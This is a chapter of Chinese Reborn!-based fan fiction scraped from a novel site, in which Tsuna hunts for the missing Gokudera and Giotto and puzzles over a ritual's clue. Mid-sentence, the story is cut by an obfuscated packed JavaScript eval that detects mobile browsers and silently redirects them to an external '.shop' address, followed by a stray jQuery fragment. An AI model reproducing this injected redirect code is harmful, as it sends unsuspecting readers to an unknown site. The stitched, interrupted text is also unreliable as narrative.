文趣网 > 都市小说 > 怪谈彭格列 > 15.疑点重重
    从那晚谈完话后,又过去了两天。

    这两天里,纲吉再也没见过狱寺和Giotto。他们俩就像约好了一样,同时从他的生活里蒸发了。

    他去狱寺的宿舍蹲过,门锁着。去Giotto搬去的那间空房看过,里面连私人物品都少得可怜,干净得像是从来没有人住过。他甚至半夜又摸去过一次校舍,走廊空荡荡的,别说怪物了,连个影子都没有。

    今天早上,他终于放弃了。

    再这么找下去,怪谈没解决,他自己先变成新一代校园传说了。

    “说起来,好久没去班级打探消息了。虽然这些同学看起来不太好相处,还不愿意搭理自己……”

    到了班级门口,他推开门,愣了一下,又退出去仔细看了看牌子。

    也没有走错班级啊。

    教室空了一大半。

    桌椅还在,但人少了很多。稀稀拉拉坐着的几个人,看起来也不像在听课,更像是在发呆。纲吉扫了一圈,找了个眼熟的男生走过去。

    “那个同学,问一下……”

    话还没说完,那个男生的脸唰一下白了,连看都不带看纲吉一眼,用力推开他头也不回地冲出了教室。

    纲吉踉跄了好一会才站稳身体。

    ……有必要这么怕他吗?

    纲吉把这个莫名的状况暂时记下,找了个位置坐着。一上午的课,他什么都没听进去。脑子里除了塞满了一堆理解不了的知识以外,就没有听到任何有用的消息。

    “唉,到底是怎么回事?”

    纲吉捂着恶狠的肚子找了个安静的树下坐着。面包干巴地他狂咽口水,吃了一半就没心情再继续了,随便一抹嘴,从怀里掏出一个快要翻烂的本子。

    自打他一个人行动以后,遇到的所有问题都被他记了下来。一部分已经稍微有些头绪,但关于这个问题,他迟迟没有任何想法。

    纲吉看着那一页遍布各种猜测的内容,又叹了好大一声气。

    不管怎么想,他都没办法理解Giotto留下的最后一句话。

    为什么又会扯上银仙?

    想不通的事太多了,他干脆往后一倒,摊开的本子正好被拿来挡太阳。最近两天为了另外两个人的事,他基本没怎么睡好,这会儿躺在这儿,反倒生出强烈的睡意。

    或许是太安静了,又或许是觉得阳光能驱散任何东西,他就那么毫无顾忌地睡着了。

    不知道睡了多久,纲吉觉得后背隐隐作痛,估摸着是睡姿不太好。但因为刚睡醒,他还有些懒散,保持着那个有点痛的姿势不想动弹。

    由远及近的,草地上窸窸窣窣响起一道有些缓慢但轻微的脚步声。

    就在他再度晃神的时候,一只手极轻地擦过他的头发。

    要不是纲吉正好醒着,估计根本无法察觉。也不知道是怎么想的,他没有第一时间坐起来,任由那人就这样待在他身边。

    “抱歉,十代目。我一直很想来找你,但是现在还不行,再等等,我就可以——”

    就在这时,刮了一阵很大的风,树叶响动间,纲吉没能听见后面半句。

    直觉告诉他,那一定就是狱寺一直在隐瞒的东西。

    纲吉已经无力吐槽了,这个一碰到关键信息就会被干扰的体质,到底是想怎么样。

    狱寺又替他最后理了一下凌乱的衣服,手臂活动间,纲吉听到他发出一声闷哼。在那之后,他就离开了。

    纲吉没有阻止,等到彻底听不见脚步声了,才慢慢坐起来。

    他看向狱寺刚刚待过的地方,那人走得太急了,竟没注意到自己留下了什么。纲吉伸出手指,在草叶上轻轻一抹,指腹上沾着的无疑是血迹。

    “难道说,这也是为了达成你的心愿吗?”他盯着那抹暗红看了许久。

    银仙那东西,到底和狱寺说了什么。

    “等着吧,我绝对不会让你一个人背负的。”

    睡过一觉之后,大脑比之前清醒了许多。纲吉重新翻开那一页,看着上面密密麻麻的字迹,心里忽然生出了一些别的看法。

    能认定是银仙给出的答案,那一定只有那天晚上最后一个问题了。

    他最开始一直在琢磨“晴天”到底有什么特别的,却忽略了整句话的意思。

    “明天会是晴天。”

    纲吉低声重复了一遍,因为当时太害怕,这句话反倒给他留下了深刻的印象。现在想来,他记得召唤银仙的那晚是周末,换句话说,也就意味着周一会是晴天。

    可是那天早上他醒来,看到的明明是连绵的雨。

    不对。

    既然Giotto说不会有错,那银仙当时给的答案就一定是对的,纲吉把刚才那条划掉。

    那换个角度想呢?

    他无意间瞥到手腕上那块黑雾发给他们的手表。

    “手表……时间……?”

    对啊,纲吉恍然大悟。

    仪式结束之后,他直接睡死过去,完全没顾上看时间。如果假设当时他们问出那个问题的时候,已经过了十二点呢?

    纲吉激动地把这条新的猜测写了上去。

    周一那一天发生的事情太多了,导致他对周二过于平淡的日常记得没那么清楚。但如果是天气的话,没有意外……

    “同样是下了一天一夜的雨啊!这不就又绕回起点了吗!”

    纲吉抓狂地揉着自己的头发,把本子往膝盖上一拍。本来还觉得这个分析挺像回事的,结果绕了一圈,又把自己绕进去了。

    算了,重新再好好想想,仪式之后,还发生过什么奇怪的事?

    “对了!那天一早上发生的事,真的只是梦吗?”

    纲吉重新回忆起那个让他混乱的,Giotto和狱寺一起神秘消失的早晨。如果不是梦的话,就意味着他确实去过校舍。

    “那个楼梯!”

    想到这儿,纲吉瞬间坐不住了,他把本子往怀里一塞,抓起东西就往那个方向冲。

    幸好这会儿还是午休,楼梯间目前空无一人。当时具体走到哪一级台阶他已经忘了,只记得脑袋里空空的,一半是害怕,一半是急着找人。

    他重新一级一级走上去。

    无事发生。

    “难道说,必须要和当时一模一样吗?”

    他记得那个台阶上积了一层水,纲吉站在楼梯口,盯着那些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969789|214605||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    干爽的台阶看了几秒,然后深吸一口气。

    “好吧。”

    他找了个水桶,拎回来,一级一级地倒水。

    “我一定会打扫干净的。”

    等布置得差不多了,纲吉后知后觉地害怕起来,但一想到随时可能会有别人过来,还是下定决心踩了上去。

    一层,两层,三层……

    很快,他走到了最顶层。

    还是无事发生。

    看来也不是有水的台阶就行了,莫非一定要下雨天吗?纲吉站在顶上,低头看着自己泼了一地的水,沉默了。

    “唉,真要这个我也没办法变出来啊,不知道如果用山本的匣——”

    糟糕,想的太入迷差点说出口了,纲吉有些做贼心虚地环视了一圈周围才放下心来。

    他认命地收拾完残局,拎着空桶下了楼,至于剩下的课早就不知道被他忘到哪里去了。

    说起来,如果他那天真的来了这里,又是怎么回宿舍的?纲吉一边走一边想,那天早上他醒来的时候,明明躺在自己床上,中间那段记忆完全是空的。

    还有那个怪谈,会不会就是和台阶有关的?可是有关这方面的怪谈,他从来没听说过。

    去问狱寺的话,说不定他会知道,但问题是,他现在还愿意告诉自己吗?

    途经Giotto房间的时候,他没抱什么期望地往那边瞥了眼。

    门缝下竟然久违地透出了光。

    纲吉犹豫了几秒,还是走过去,抬手敲了敲门。

    “咚咚。”

    他想着,和Giotto聊聊说不定又能受到什么启发。

    “是谁?”隔着门板,里面传来了一声压低的问询。

    咦?虽然声音被刻意放低了,但和Giotto平日清亮又柔和的嗓音还是有些许区别,难道是身体不舒服吗?

    “是我,Giotto,我是纲吉,我可以进来吗?”

    “纲吉啊。”里面出现了短暂的停顿,“抱歉,我想我们在这种情况最好还是保持点距离。”

    被拒绝了。

    纲吉虽然做好了准备,但听到这么明确的拒绝还是有些低落。

    “我不会干什么的,我只是想见一面,见完了我就走。”

    “见面也没必要,回去吧,纲吉。”

    他越是这样说,纲吉越不愿意轻易离去。

    “我真的保证,就一面。”

    门里这次沉默的时间更长了。

    “唉,你要我说你什么好呢,纲吉。”

    很快,门被从里面拉开了一条缝,Giotto低着头没看纲吉,身上随意披了件外套。白炽灯的光从他身后透出来,明明是个晴天,他房间里却拉着窗帘。

    “你真的完全不懂什么叫放弃啊。”

    奇怪。

    纲吉看着眼前的Giotto,心里产生一种强烈的违和感。

    “Giotto,这就是你不愿意见我的原因吗?”

    他伸手从门缝里精准地抓住Giotto的手腕,另一只手抵住门板,微微用力门就被推开了。

    “你真觉得这样低着头,我就没办法发现你变小了?”